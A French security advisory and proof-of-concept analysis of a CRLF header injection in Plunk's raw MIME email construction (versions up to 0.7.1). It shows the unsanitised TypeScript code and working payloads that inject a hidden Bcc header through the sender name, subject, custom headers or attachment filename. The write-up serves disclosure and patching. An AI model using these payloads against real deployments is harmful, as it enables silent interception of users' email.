
Preuve de concept et analyse technique de l'injection d'en-têtes d'e-mail CRLF dans la construction MIME brute de Plunk, démontrant l'injection Bcc et d'autres vecteurs avec un PoC Python.
Gravité : Élevée (CVSS 8.5)
CWE : CWE-93 — Neutralisation incorrecte des séquences CRLF (« Injection CRLF »)
Affecté : useplunk/plunk <= 0.7.1
Corrigé dans : 0.8.0
Avis : GHSA-2mvm-rg5v-7hfq
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Crédit : Romain Deperne
Le point de terminaison POST /v1/send de Plunk construit un message e-mail MIME brut en interpolant directement des champs fournis par l'utilisateur (from.name, subject, en-têtes personnalisés, noms de fichiers des pièces jointes) dans une chaîne de modèle sans assainissement des CRLF (\r\n). Un utilisateur authentifié de l'API peut injecter des en-têtes d'e-mail arbitraires — y compris Bcc — pour rediriger silencieusement des copies des e-mails vers des adresses contrôlées par l'attaquant.
J'auditais des plateformes d'envoi d'e-mails open source — tout ce qui encapsule AWS SES et expose une API. Plunk se positionne comme une alternative conviviale pour les développeurs à SendGrid/Postmark, construite sur SES.
Mon point d'entrée était la fonction de construction d'e-mail brut. Chaque fois que je vois rawMessage += ou des littéraux de gabarit construisant du MIME, je vérifie si chaque champ fourni par l'utilisateur est assaini contre les CRLF. Dans SESService.ts, la réponse était clairement non : from.name, subject, les en-têtes personnalisés et les noms de fichiers des pièces jointes étaient tous interpolés directement.
Ce qui a confirmé que c'était exploitable : le schéma Zod (packages/shared/src/schemas/index.ts) n'avait aucun .regex() ni .refine() rejetant \r\n sur aucun de ces champs. Aucun assainissement au niveau du schéma, aucun assainissement au niveau de la construction MIME — un chemin propre depuis l'entrée de l'API jusqu'à l'en-tête MIME injecté.
J'ai testé les quatre vecteurs (from.name, subject, valeur d'en-tête personnalisé, nom de fichier de pièce jointe) et confirmé que l'injection Bcc: fonctionne. Tout utilisateur authentifié de l'API disposant d'un domaine d'expéditeur vérifié peut copier silencieusement chaque e-mail sortant vers une adresse contrôlée par l'attaquant. Le scénario d'attaque réaliste est une clé d'API compromise qui se transforme en interception persistante des e-mails.
Fichier : apps/api/src/services/SESService.ts, lignes 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Schéma Zod (packages/shared/src/schemas/index.ts) — pas de validation CRLF :
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
La construction brute de MIME exige que chaque valeur fournie par l'utilisateur soit débarrassée de \r\n avant interpolation. Plunk construit le message avec des littéraux de gabarit et n'assainit aucun des quatre champs injectables. Les analyseurs SMTP interprètent \r\n comme une frontière d'en-tête, donc injecter \r\nBcc: [email protected] dans from.name ajoute un véritable en-tête Bcc au message sortant.
Voir poc.py pour une démonstration complète avec quatre vecteurs d'injection.
Charge utile principale — injection de Bcc via from.name :
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME brut produit par SES :
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES envoie une copie silencieuse à [email protected] avec chaque e-mail envoyé via la clé API compromise.
Autres vecteurs d'injection :
subject : "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender